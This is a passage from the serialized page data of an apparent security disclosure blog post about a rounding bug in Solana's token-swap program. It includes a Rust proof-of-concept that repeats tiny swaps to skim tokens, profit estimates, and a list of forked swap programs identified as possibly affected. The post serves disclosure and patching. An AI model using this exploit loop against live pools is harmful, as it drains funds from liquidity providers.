",{"type":23,"tag":139,"props":1064,"children":1065},{"style":982},[1066],{"type":28,"value":1067},"=",{"type":23,"tag":139,"props":1069,"children":1070},{"style":259},[1071],{"type":28,"value":1042},{"type":23,"tag":139,"props":1073,"children":1074},{"style":245},[1075],{"type":28,"value":1076},"checked_u8_power",{"type":23,"tag":139,"props":1078,"children":1079},{"style":259},[1080],{"type":28,"value":262},{"type":23,"tag":139,"props":1082,"children":1083},{"style":982},[1084],{"type":28,"value":1085},"&",{"type":23,"tag":139,"props":1087,"children":1088},{"style":294},[1089],{"type":28,"value":1090},"y",{"type":23,"tag":139,"props":1092,"children":1093},{"style":259},[1094],{"type":28,"value":1052},{"type":23,"tag":139,"props":1096,"children":1097},{"style":1016},[1098],{"type":28,"value":1099},"2",{"type":23,"tag":139,"props":1101,"children":1102},{"style":259},[1103],{"type":28,"value":1104},")",{"type":23,"tag":139,"props":1106,"children":1107},{"style":982},[1108],{"type":28,"value":1109},"?.",{"type":23,"tag":139,"props":1111,"children":1112},{"style":245},[1113],{"type":28,"value":1114},"checked_add",{"type":23,"tag":139,"props":1116,"children":1117},{"style":259},[1118],{"type":28,"value":262},{"type":23,"tag":139,"props":1120,"children":1121},{"style":294},[1122],{"type":28,"value":1123},"c",{"type":23,"tag":139,"props":1125,"children":1126},{"style":259},[1127],{"type":28,"value":1104},{"type":23,"tag":139,"props":1129,"children":1130},{"style":982},[1131],{"type":28,"value":1132},"?",{"type":23,"tag":139,"props":1134,"children":1135},{"style":259},[1136],{"type":28,"value":273},{"type":23,"tag":139,"props":1138,"children":1139},{"class":141,"line":178},[1140,1145,1150,1154,1159,1163,1167,1171,1175,1179,1183,1187,1191,1195,1200,1204,1208,1213,1217,1222,1226,1230,1234,1238],{"type":23,"tag":139,"props":1141,"children":1142},{"style":982},[1143],{"type":28,"value":1144},"            .",{"type":23,"tag":139,"props":1146,"children":1147},{"style":245},[1148],{"type":28,"value":1149},"checked_ceil_div",{"type":23,"tag":139,"props":1151,"children":1152},{"style":259},[1153],{"type":28,"value":262},{"type":23,"tag":139,"props":1155,"children":1156},{"style":245},[1157],{"type":28,"value":1158},"checked_u8_mul",{"type":23,"tag":139,"props":1160,"children":1161},{"style":259},[1162],{"type":28,"value":262},{"type":23,"tag":139,"props":1164,"children":1165},{"style":982},[1166],{"type":28,"value":1085},{"type":23,"tag":139,"props":1168,"children":1169},{"style":294},[1170],{"type":28,"value":1090},{"type":23,"tag":139,"props":1172,"children":1173},{"style":259},[1174],{"type":28,"value":1052},{"type":23,"tag":139,"props":1176,"children":1177},{"style":1016},[1178],{"type":28,"value":1099},{"type":23,"tag":139,"props":1180,"children":1181},{"style":259},[1182],{"type":28,"value":1104},{"type":23,"tag":139,"props":1184,"children":1185},{"style":982},[1186],{"type":28,"value":1109},{"type":23,"tag":139,"props":1188,"children":1189},{"style":245},[1190],{"type":28,"value":1114},{"type":23,"tag":139,"props":1192,"children":1193},{"style":259},[1194],{"type":28,"value":262},{"type":23,"tag":139,"props":1196,"children":1197},{"style":294},[1198],{"type":28,"value":1199},"b",{"type":23,"tag":139,"props":1201,"children":1202},{"style":259},[1203],{"type":28,"value":1104},{"type":23,"tag":139,"props":1205,"children":1206},{"style":982},[1207],{"type":28,"value":1109},{"type":23,"tag":139,"props":1209,"children":1210},{"style":245},[1211],{"type":28,"value":1212},"checked_sub",{"type":23,"tag":139,"props":1214,"children":1215},{"style":259},[1216],{"type":28,"value":262},{"type":23,"tag":139,"props":1218,"children":1219},{"style":294},[1220],{"type":28,"value":1221},"d_val",{"type":23,"tag":139,"props":1223,"children":1224},{"style":259},[1225],{"type":28,"value":1104},{"type":23,"tag":139,"props":1227,"children":1228},{"style":982},[1229],{"type":28,"value":1132},{"type":23,"tag":139,"props":1231,"children":1232},{"style":259},[1233],{"type":28,"value":1104},{"type":23,"tag":139,"props":1235,"children":1236},{"style":982},[1237],{"type":28,"value":1132},{"type":23,"tag":139,"props":1239,"children":1240},{"style":259},[1241],{"type":28,"value":995},{"type":23,"tag":139,"props":1243,"children":1244},{"class":141,"line":187},[1245,1250,1255,1260,1264],{"type":23,"tag":139,"props":1246,"children":1247},{"style":319},[1248],{"type":28,"value":1249},"        if",{"type":23,"tag":139,"props":1251,"children":1252},{"style":294},[1253],{"type":28,"value":1254}," y_new",{"type":23,"tag":139,"props":1256,"children":1257},{"style":982},[1258],{"type":28,"value":1259}," ==",{"type":23,"tag":139,"props":1261,"children":1262},{"style":294},[1263],{"type":28,"value":979},{"type":23,"tag":139,"props":1265,"children":1266},{"style":259},[1267],{"type":28,"value":1268}," {\n",{"type":23,"tag":139,"props":1270,"children":1271},{"class":141,"line":196},[1272,1277],{"type":23,"tag":139,"props":1273,"children":1274},{"style":319},[1275],{"type":28,"value":1276},"            break",{"type":23,"tag":139,"props":1278,"children":1279},{"style":259},[1280],{"type":28,"value":995},{"type":23,"tag":139,"props":1282,"children":1283},{"class":141,"line":205},[1284,1289,1294],{"type":23,"tag":139,"props":1285,"children":1286},{"style":259},[1287],{"type":28,"value":1288},"        } ",{"type":23,"tag":139,"props":1290,"children":1291},{"style":319},[1292],{"type":28,"value":1293},"else",{"type":23,"tag":139,"props":1295,"children":1296},{"style":259},[1297],{"type":28,"value":1268},{"type":23,"tag":139,"props":1299,"children":1300},{"class":141,"line":214},[1301,1306,1310,1314],{"type":23,"tag":139,"props":1302,"children":1303},{"style":294},[1304],{"type":28,"value":1305},"            y",{"type":23,"tag":139,"props":1307,"children":1308},{"style":982},[1309],{"type":28,"value":985},{"type":23,"tag":139,"props":1311,"children":1312},{"style":294},[1313],{"type":28,"value":1254},{"type":23,"tag":139,"props":1315,"children":1316},{"style":259},[1317],{"type":28,"value":995},{"type":23,"tag":139,"props":1319,"children":1321},{"class":141,"line":1320},10,[1322],{"type":23,"tag":139,"props":1323,"children":1324},{"style":259},[1325],{"type":28,"value":1326},"        }\n",{"type":23,"tag":139,"props":1328,"children":1330},{"class":141,"line":1329},11,[1331],{"type":23,"tag":139,"props":1332,"children":1333},{"style":259},[1334],{"type":28,"value":1335},"    }\n",{"type":23,"tag":24,"props":1337,"children":1338},{},[1339,1344],{"type":23,"tag":659,"props":1340,"children":1341},{},[1342],{"type":28,"value":1343},"approximate",{"type":28,"value":1345},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":23,"tag":24,"props":1347,"children":1348},{},[1349],{"type":28,"value":1350},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":23,"tag":128,"props":1352,"children":1354},{"code":1353,"language":947,"meta":7,"className":948,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[1355],{"type":23,"tag":135,"props":1356,"children":1357},{"__ignoreMap":7},[1358,1366,1406,1414,1444,1472,1489,1505,1530,1546,1562,1578,1595,1612,1625,1634,1657,1665,1674,1743,1751,1781,1789,1821,1829,1889],{"type":23,"tag":139,"props":1359,"children":1360},{"class":141,"line":142},[1361],{"type":23,"tag":139,"props":1362,"children":1363},{"style":958},[1364],{"type":28,"value":1365},"// from sbtc to renbtc\n",{"type":23,"tag":139,"props":1367,"children":1368},{"class":141,"line":151},[1369,1374,1379,1383,1387,1392,1397,1402],{"type":23,"tag":139,"props":1370,"children":1371},{"style":319},[1372],{"type":28,"value":1373},"for",{"type":23,"tag":139,"props":1375,"children":1376},{"style":294},[1377],{"type":28,"value":1378}," i",{"type":23,"tag":139,"props":1380,"children":1381},{"style":279},[1382],{"type":28,"value":1013},{"type":23,"tag":139,"props":1384,"children":1385},{"style":1016},[1386],{"type":28,"value":1019},{"type":23,"tag":139,"props":1388,"children":1389},{"style":982},[1390],{"type":28,"value":1391}," ..",{"type":23,"tag":139,"props":1393,"children":1394},{"style":1016},[1395],{"type":28,"value":1396}," 50",{"type":23,"tag":139,"props":1398,"children":1399},{"style":305},[1400],{"type":28,"value":1401},"u8",{"type":23,"tag":139,"props":1403,"children":1404},{"style":259},[1405],{"type":28,"value":1268},{"type":23,"tag":139,"props":1407,"children":1408},{"class":141,"line":160},[1409],{"type":23,"tag":139,"props":1410,"children":1411},{"style":958},[1412],{"type":28,"value":1413},"    // create swap transaction\n",{"type":23,"tag":139,"props":1415,"children":1416},{"class":141,"line":169},[1417,1421,1425,1430,1434,1439],{"type":23,"tag":139,"props":1418,"children":1419},{"style":279},[1420],{"type":28,"value":969},{"type":23,"tag":139,"props":1422,"children":1423},{"style":279},[1424],{"type":28,"value":974},{"type":23,"tag":139,"props":1426,"children":1427},{"style":294},[1428],{"type":28,"value":1429}," swap_instruction",{"type":23,"tag":139,"props":1431,"children":1432},{"style":982},[1433],{"type":28,"value":985},{"type":23,"tag":139,"props":1435,"children":1436},{"style":245},[1437],{"type":28,"value":1438}," swap",{"type":23,"tag":139,"props":1440,"children":1441},{"style":259},[1442],{"type":28,"value":1443},"(\n",{"type":23,"tag":139,"props":1445,"children":1446},{"class":141,"line":178},[1447,1452,1457,1462,1467],{"type":23,"tag":139,"props":1448,"children":1449},{"style":982},[1450],{"type":28,"value":1451},"        &",{"type":23,"tag":139,"props":1453,"children":1454},{"style":259},[1455],{"type":28,"value":1456},"spl_token",{"type":23,"tag":139,"props":1458,"children":1459},{"style":982},[1460],{"type":28,"value":1461},"::",{"type":23,"tag":139,"props":1463,"children":1464},{"style":245},[1465],{"type":28,"value":1466},"id",{"type":23,"tag":139,"props":1468,"children":1469},{"style":259},[1470],{"type":28,"value":1471},"(),\n",{"type":23,"tag":139,"props":1473,"children":1474},{"class":141,"line":187},[1475,1479,1484],{"type":23,"tag":139,"props":1476,"children":1477},{"style":982},[1478],{"type":28,"value":1451},{"type":23,"tag":139,"props":1480,"children":1481},{"style":294},[1482],{"type":28,"value":1483},"swap_pubkey",{"type":23,"tag":139,"props":1485,"children":1486},{"style":259},[1487],{"type":28,"value":1488},",\n",{"type":23,"tag":139,"props":1490,"children":1491},{"class":141,"line":196},[1492,1496,1501],{"type":23,"tag":139,"props":1493,"children":1494},{"style":982},[1495],{"type":28,"value":1451},{"type":23,"tag":139,"props":1497,"children":1498},{"style":294},[1499],{"type":28,"value":1500},"swap_authority_pubkey",{"type":23,"tag":139,"props":1502,"children":1503},{"style":259},[1504],{"type":28,"value":1488},{"type":23,"tag":139,"props":1506,"children":1507},{"class":141,"line":205},[1508,1512,1517,1521,1526],{"type":23,"tag":139,"props":1509,"children":1510},{"style":982},[1511],{"type":28,"value":1451},{"type":23,"tag":139,"props":1513,"children":1514},{"style":294},[1515],{"type":28,"value":1516},"test_account_signer",{"type":23,"tag":139,"props":1518,"children":1519},{"style":982},[1520],{"type":28,"value":73},{"type":23,"tag":139,"props":1522,"children":1523},{"style":245},[1524],{"type":28,"value":1525},"pubkey",{"type":23,"tag":139,"props":1527,"children":1528},{"style":259},[1529],{"type":28,"value":1471},{"type":23,"tag":139,"props":1531,"children":1532},{"class":141,"line":214},[1533,1537,1542],{"type":23,"tag":139,"props":1534,"children":1535},{"style":982},[1536],{"type":28,"value":1451},{"type":23,"tag":139,"props":1538,"children":1539},{"style":294},[1540],{"type":28,"value":1541},"sbtc_user_account",{"type":23,"tag":139,"props":1543,"children":1544},{"style":259},[1545],{"type":28,"value":1488},{"type":23,"tag":139,"props":1547,"children":1548},{"class":141,"line":1320},[1549,1553,1558],{"type":23,"tag":139,"props":1550,"children":1551},{"style":982},[1552],{"type":28,"value":1451},{"type":23,"tag":139,"props":1554,"children":1555},{"style":294},[1556],{"type":28,"value":1557},"sbtc_reserve",{"type":23,"tag":139,"props":1559,"children":1560},{"style":259},[1561],{"type":28,"value":1488},{"type":23,"tag":139,"props":1563,"children":1564},{"class":141,"line":1329},[1565,1569,1574],{"type":23,"tag":139,"props":1566,"children":1567},{"style":982},[1568],{"type":28,"value":1451},{"type":23,"tag":139,"props":1570,"children":1571},{"style":294},[1572],{"type":28,"value":1573},"renbtc_reserve",{"type":23,"tag":139,"props":1575,"children":1576},{"style":259},[1577],{"type":28,"value":1488},{"type":23,"tag":139,"props":1579,"children":1581},{"class":141,"line":1580},12,[1582,1586,1591],{"type":23,"tag":139,"props":1583,"children":1584},{"style":982},[1585],{"type":28,"value":1451},{"type":23,"tag":139,"props":1587,"children":1588},{"style":294},[1589],{"type":28,"value":1590},"renbtc_user_account",{"type":23,"tag":139,"props":1592,"children":1593},{"style":259},[1594],{"type":28,"value":1488},{"type":23,"tag":139,"props":1596,"children":1598},{"class":141,"line":1597},13,[1599,1603,1608],{"type":23,"tag":139,"props":1600,"children":1601},{"style":982},[1602],{"type":28,"value":1451},{"type":23,"tag":139,"props":1604,"children":1605},{"style":294},[1606],{"type":28,"value":1607},"admin_fee_account_sbtc_to_ren",{"type":23,"tag":139,"props":1609,"children":1610},{"style":259},[1611],{"type":28,"value":1488},{"type":23,"tag":139,"props":1613,"children":1615},{"class":141,"line":1614},14,[1616,1621],{"type":23,"tag":139,"props":1617,"children":1618},{"style":1016},[1619],{"type":28,"value":1620},"        1",{"type":23,"tag":139,"props":1622,"children":1623},{"style":259},[1624],{"type":28,"value":1488},{"type":23,"tag":139,"props":1626,"children":1628},{"class":141,"line":1627},15,[1629],{"type":23,"tag":139,"props":1630,"children":1631},{"style":1016},[1632],{"type":28,"value":1633},"        2\n",{"type":23,"tag":139,"props":1635,"children":1637},{"class":141,"line":1636},16,[1638,1643,1647,1652],{"type":23,"tag":139,"props":1639,"children":1640},{"style":259},[1641],{"type":28,"value":1642},"    )",{"type":23,"tag":139,"props":1644,"children":1645},{"style":982},[1646],{"type":28,"value":73},{"type":23,"tag":139,"props":1648,"children":1649},{"style":245},[1650],{"type":28,"value":1651},"unwrap",{"type":23,"tag":139,"props":1653,"children":1654},{"style":259},[1655],{"type":28,"value":1656},"();\n",{"type":23,"tag":139,"props":1658,"children":1660},{"class":141,"line":1659},17,[1661],{"type":23,"tag":139,"props":1662,"children":1663},{"emptyLinePlaceholder":15},[1664],{"type":28,"value":184},{"type":23,"tag":139,"props":1666,"children":1668},{"class":141,"line":1667},18,[1669],{"type":23,"tag":139,"props":1670,"children":1671},{"style":958},[1672],{"type":28,"value":1673},"    // nonce\n",{"type":23,"tag":139,"props":1675,"children":1677},{"class":141,"line":1676},19,[1678,1683,1687,1692,1696,1701,1705,1709,1714,1719,1724,1729,1733,1738],{"type":23,"tag":139,"props":1679,"children":1680},{"style":294},[1681],{"type":28,"value":1682},"    swap_instruction",{"type":23,"tag":139,"props":1684,"children":1685},{"style":982},[1686],{"type":28,"value":73},{"type":23,"tag":139,"props":1688,"children":1689},{"style":259},[1690],{"type":28,"value":1691},"data",{"type":23,"tag":139,"props":1693,"children":1694},{"style":982},[1695],{"type":28,"value":73},{"type":23,"tag":139,"props":1697,"children":1698},{"style":245},[1699],{"type":28,"value":1700},"append",{"type":23,"tag":139,"props":1702,"children":1703},{"style":259},[1704],{"type":28,"value":262},{"type":23,"tag":139,"props":1706,"children":1707},{"style":982},[1708],{"type":28,"value":1085},{"type":23,"tag":139,"props":1710,"children":1711},{"style":279},[1712],{"type":28,"value":1713},"mut",{"type":23,"tag":139,"props":1715,"children":1716},{"style":245},[1717],{"type":28,"value":1718}," vec!",{"type":23,"tag":139,"props":1720,"children":1721},{"style":259},[1722],{"type":28,"value":1723},"[",{"type":23,"tag":139,"props":1725,"children":1726},{"style":294},[1727],{"type":28,"value":1728},"i",{"type":23,"tag":139,"props":1730,"children":1731},{"style":259},[1732],{"type":28,"value":1052},{"type":23,"tag":139,"props":1734,"children":1735},{"style":294},[1736],{"type":28,"value":1737},"extranonce",{"type":23,"tag":139,"props":1739,"children":1740},{"style":259},[1741],{"type":28,"value":1742},"]);\n",{"type":23,"tag":139,"props":1744,"children":1746},{"class":141,"line":1745},20,[1747],{"type":23,"tag":139,"props":1748,"children":1749},{"emptyLinePlaceholder":15},[1750],{"type":28,"value":184},{"type":23,"tag":139,"props":1752,"children":1754},{"class":141,"line":1753},21,[1755,1759,1763,1768,1772,1776],{"type":23,"tag":139,"props":1756,"children":1757},{"style":279},[1758],{"type":28,"value":969},{"type":23,"tag":139,"props":1760,"children":1761},{"style":279},[1762],{"type":28,"value":974},{"type":23,"tag":139,"props":1764,"children":1765},{"style":294},[1766],{"type":28,"value":1767}," instructions",{"type":23,"tag":139,"props":1769,"children":1770},{"style":982},[1771],{"type":28,"value":985},{"type":23,"tag":139,"props":1773,"children":1774},{"style":245},[1775],{"type":28,"value":1718},{"type":23,"tag":139,"props":1777,"children":1778},{"style":259},[1779],{"type":28,"value":1780},"[];\n",{"type":23,"tag":139,"props":1782,"children":1784},{"class":141,"line":1783},22,[1785],{"type":23,"tag":139,"props":1786,"children":1787},{"emptyLinePlaceholder":15},[1788],{"type":28,"value":184},{"type":23,"tag":139,"props":1790,"children":1792},{"class":141,"line":1791},23,[1793,1798,1802,1807,1811,1816],{"type":23,"tag":139,"props":1794,"children":1795},{"style":294},[1796],{"type":28,"value":1797},"    instructions",{"type":23,"tag":139,"props":1799,"children":1800},{"style":982},[1801],{"type":28,"value":73},{"type":23,"tag":139,"props":1803,"children":1804},{"style":245},[1805],{"type":28,"value":1806},"push",{"type":23,"tag":139,"props":1808,"children":1809},{"style":259},[1810],{"type":28,"value":262},{"type":23,"tag":139,"props":1812,"children":1813},{"style":294},[1814],{"type":28,"value":1815},"swap_instruction",{"type":23,"tag":139,"props":1817,"children":1818},{"style":259},[1819],{"type":28,"value":1820},");\n",{"type":23,"tag":139,"props":1822,"children":1824},{"class":141,"line":1823},24,[1825],{"type":23,"tag":139,"props":1826,"children":1827},{"emptyLinePlaceholder":15},[1828],{"type":28,"value":184},{"type":23,"tag":139,"props":1830,"children":1832},{"class":141,"line":1831},25,[1833,1838,1842,1847,1851,1855,1860,1864,1868,1873,1877,1881,1885],{"type":23,"tag":139,"props":1834,"children":1835},{"style":294},[1836],{"type":28,"value":1837},"    env",{"type":23,"tag":139,"props":1839,"children":1840},{"style":982},[1841],{"type":28,"value":73},{"type":23,"tag":139,"props":1843,"children":1844},{"style":245},[1845],{"type":28,"value":1846},"execute_as_transaction",{"type":23,"tag":139,"props":1848,"children":1849},{"style":259},[1850],{"type":28,"value":262},{"type":23,"tag":139,"props":1852,"children":1853},{"style":982},[1854],{"type":28,"value":1085},{"type":23,"tag":139,"props":1856,"children":1857},{"style":294},[1858],{"type":28,"value":1859},"instructions",{"type":23,"tag":139,"props":1861,"children":1862},{"style":259},[1863],{"type":28,"value":1052},{"type":23,"tag":139,"props":1865,"children":1866},{"style":982},[1867],{"type":28,"value":1085},{"type":23,"tag":139,"props":1869,"children":1870},{"style":245},[1871],{"type":28,"value":1872},"vec!",{"type":23,"tag":139,"props":1874,"children":1875},{"style":259},[1876],{"type":28,"value":1723},{"type":23,"tag":139,"props":1878,"children":1879},{"style":982},[1880],{"type":28,"value":1085},{"type":23,"tag":139,"props":1882,"children":1883},{"style":294},[1884],{"type":28,"value":1516},{"type":23,"tag":139,"props":1886,"children":1887},{"style":259},[1888],{"type":28,"value":1742},{"type":23,"tag":139,"props":1890,"children":1892},{"class":141,"line":1891},26,[1893],{"type":23,"tag":139,"props":1894,"children":1895},{"style":259},[1896],{"type":28,"value":1897},"}\n",{"type":23,"tag":24,"props":1899,"children":1900},{},[1901],{"type":28,"value":1902},"It works!",{"type":23,"tag":90,"props":1904,"children":1905},{},[1906],{"type":23,"tag":24,"props":1907,"children":1908},{},[1909],{"type":28,"value":1910},"holy shit\nyea, this is big",{"type":23,"tag":24,"props":1912,"children":1913},{},[1914],{"type":23,"tag":429,"props":1915,"children":1917},{"alt":7,"src":1916},"/posts/spl-swap/poc.png",[],{"type":23,"tag":41,"props":1919,"children":1921},{"id":1920},"exploitability",[1922],{"type":28,"value":1923},"Exploitability",{"type":23,"tag":24,"props":1925,"children":1926},{},[1927],{"type":28,"value":1928},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":23,"tag":24,"props":1930,"children":1931},{},[1932],{"type":28,"value":1933},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":23,"tag":24,"props":1935,"children":1936},{},[1937],{"type":28,"value":1938},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":23,"tag":24,"props":1940,"children":1941},{},[1942],{"type":23,"tag":429,"props":1943,"children":1945},{"alt":7,"src":1944},"/posts/spl-swap/pr.png",[],{"type":23,"tag":24,"props":1947,"children":1948},{},[1949,1951,1956],{"type":28,"value":1950},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":23,"tag":659,"props":1952,"children":1953},{},[1954],{"type":28,"value":1955},"per instruction",{"type":28,"value":1957},". Transactions on Solana can also contain multiple instructions.",{"type":23,"tag":24,"props":1959,"children":1960},{},[1961],{"type":28,"value":1962},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":23,"tag":24,"props":1964,"children":1965},{},[1966,1968,1973],{"type":28,"value":1967},"Some quick napkin math confirms that this ",{"type":23,"tag":659,"props":1969,"children":1970},{},[1971],{"type":28,"value":1972},"is",{"type":28,"value":1974}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":23,"tag":24,"props":1976,"children":1977},{},[1978],{"type":23,"tag":135,"props":1979,"children":1983},{"className":1980},[1981,1982],"language-math","math-inline",[1984],{"type":23,"tag":139,"props":1985,"children":1988},{"className":1986},[1987],"katex",[1989],{"type":23,"tag":139,"props":1990,"children":1994},{"className":1991,"ariaHidden":1993},[1992],"katex-html","true",[1995,2103,2159,2199],{"type":23,"tag":139,"props":1996,"children":1999},{"className":1997},[1998],"base",[2000,2006,2012,2076,2086,2092,2099],{"type":23,"tag":139,"props":2001,"children":2005},{"className":2002,"style":2004},[2003],"strut","height:0.8141em;",[],{"type":23,"tag":139,"props":2007,"children":2010},{"className":2008},[2009],"mord",[2011],{"type":28,"value":647},{"type":23,"tag":139,"props":2013,"children":2015},{"className":2014},[2009],[2016,2022],{"type":23,"tag":139,"props":2017,"children":2019},{"className":2018},[2009],[2020],{"type":28,"value":2021},"0",{"type":23,"tag":139,"props":2023,"children":2026},{"className":2024},[2025],"msupsub",[2027],{"type":23,"tag":139,"props":2028,"children":2031},{"className":2029},[2030],"vlist-t",[2032],{"type":23,"tag":139,"props":2033,"children":2036},{"className":2034},[2035],"vlist-r",[2037],{"type":23,"tag":139,"props":2038,"children":2041},{"className":2039,"style":2004},[2040],"vlist",[2042],{"type":23,"tag":139,"props":2043,"children":2045},{"style":2044},"top:-3.063em;margin-right:0.05em;",[2046,2052],{"type":23,"tag":139,"props":2047,"children":2051},{"className":2048,"style":2050},[2049],"pstrut","height:2.7em;",[],{"type":23,"tag":139,"props":2053,"children":2059},{"className":2054},[2055,2056,2057,2058],"sizing","reset-size6","size3","mtight",[2060],{"type":23,"tag":139,"props":2061,"children":2063},{"className":2062},[2009,2058],[2064,2070],{"type":23,"tag":139,"props":2065,"children":2067},{"className":2066},[2009,2058],[2068],{"type":28,"value":2069},"−",{"type":23,"tag":139,"props":2071,"children":2073},{"className":2072},[2009,2058],[2074],{"type":28,"value":2075},"8",{"type":23,"tag":139,"props":2077,"children":2079},{"className":2078},[2009,28],[2080],{"type":23,"tag":139,"props":2081,"children":2083},{"className":2082},[2009],[2084],{"type":28,"value":2085}," BTC",{"type":23,"tag":139,"props":2087,"children":2091},{"className":2088,"style":2090},[2089],"mspace","margin-right:0.2222em;",[],{"type":23,"tag":139,"props":2093,"children":2096},{"className":2094},[2095],"mbin",[2097],{"type":28,"value":2098},"∗",{"type":23,"tag":139,"props":2100,"children":2102},{"className":2101,"style":2090},[2089],[],{"type":23,"tag":139,"props":2104,"children":2106},{"className":2105},[1998],[2107,2112,2118,2125,2130,2136,2146,2150,2155],{"type":23,"tag":139,"props":2108,"children":2111},{"className":2109,"style":2110},[2003],"height:1em;vertical-align:-0.25em;",[],{"type":23,"tag":139,"props":2113,"children":2115},{"className":2114},[2009],[2116],{"type":28,"value":2117},"$41",{"type":23,"tag":139,"props":2119,"children":2122},{"className":2120},[2121],"mpunct",[2123],{"type":28,"value":2124},",",{"type":23,"tag":139,"props":2126,"children":2129},{"className":2127,"style":2128},[2089],"margin-right:0.1667em;",[],{"type":23,"tag":139,"props":2131,"children":2133},{"className":2132},[2009],[2134],{"type":28,"value":2135},"400/",{"type":23,"tag":139,"props":2137,"children":2139},{"className":2138},[2009,28],[2140],{"type":23,"tag":139,"props":2141,"children":2143},{"className":2142},[2009],[2144],{"type":28,"value":2145},"BTC",{"type":23,"tag":139,"props":2147,"children":2149},{"className":2148,"style":2090},[2089],[],{"type":23,"tag":139,"props":2151,"children":2153},{"className":2152},[2095],[2154],{"type":28,"value":2098},{"type":23,"tag":139,"props":2156,"children":2158},{"className":2157,"style":2090},[2089],[],{"type":23,"tag":139,"props":2160,"children":2162},{"className":2161},[1998],[2163,2168,2174,2184,2189,2195],{"type":23,"tag":139,"props":2164,"children":2167},{"className":2165,"style":2166},[2003],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":23,"tag":139,"props":2169,"children":2171},{"className":2170},[2009],[2172],{"type":28,"value":2173},"150",{"type":23,"tag":139,"props":2175,"children":2177},{"className":2176},[2009,28],[2178],{"type":23,"tag":139,"props":2179,"children":2181},{"className":2180},[2009],[2182],{"type":28,"value":2183}," swaps",{"type":23,"tag":139,"props":2185,"children":2188},{"className":2186,"style":2187},[2089],"margin-right:0.2778em;",[],{"type":23,"tag":139,"props":2190,"children":2193},{"className":2191},[2192],"mrel",[2194],{"type":28,"value":1067},{"type":23,"tag":139,"props":2196,"children":2198},{"className":2197,"style":2187},[2089],[],{"type":23,"tag":139,"props":2200,"children":2202},{"className":2201},[1998],[2203,2208],{"type":23,"tag":139,"props":2204,"children":2207},{"className":2205,"style":2206},[2003],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":23,"tag":139,"props":2209,"children":2211},{"className":2210},[2009],[2212],{"type":28,"value":2213},"$0.0621",{"type":23,"tag":24,"props":2215,"children":2216},{},[2217],{"type":28,"value":2218},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":23,"tag":24,"props":2220,"children":2221},{},[2222],{"type":28,"value":2223},"We're well on our way to becoming a millionaire!",{"type":23,"tag":41,"props":2225,"children":2227},{"id":2226},"patch",[2228],{"type":28,"value":2229},"Patch",{"type":23,"tag":24,"props":2231,"children":2232},{},[2233],{"type":28,"value":2234},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":23,"tag":24,"props":2236,"children":2237},{},[2238],{"type":28,"value":2239},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":23,"tag":128,"props":2241,"children":2245},{"code":2242,"language":2243,"meta":7,"className":2244,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[2246],{"type":23,"tag":135,"props":2247,"children":2248},{"__ignoreMap":7},[2249],{"type":23,"tag":139,"props":2250,"children":2251},{"class":141,"line":142},[2252,2256,2261,2266,2271,2276,2281],{"type":23,"tag":139,"props":2253,"children":2254},{"style":245},[2255],{"type":28,"value":848},{"type":23,"tag":139,"props":2257,"children":2258},{"style":265},[2259],{"type":28,"value":2260}," logs",{"type":23,"tag":139,"props":2262,"children":2263},{"style":265},[2264],{"type":28,"value":2265}," -um",{"type":23,"tag":139,"props":2267,"children":2268},{"style":982},[2269],{"type":28,"value":2270}," |",{"type":23,"tag":139,"props":2272,"children":2273},{"style":245},[2274],{"type":28,"value":2275}," grep",{"type":23,"tag":139,"props":2277,"children":2278},{"style":265},[2279],{"type":28,"value":2280}," 'Instruction: Swap'",{"type":23,"tag":139,"props":2282,"children":2283},{"style":265},[2284],{"type":28,"value":2285}," -B1\n",{"type":23,"tag":24,"props":2287,"children":2288},{},[2289],{"type":28,"value":2290},"With some Google dorking, we were able to identify many of these programs.",{"type":23,"tag":128,"props":2292,"children":2294},{"code":2293},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap 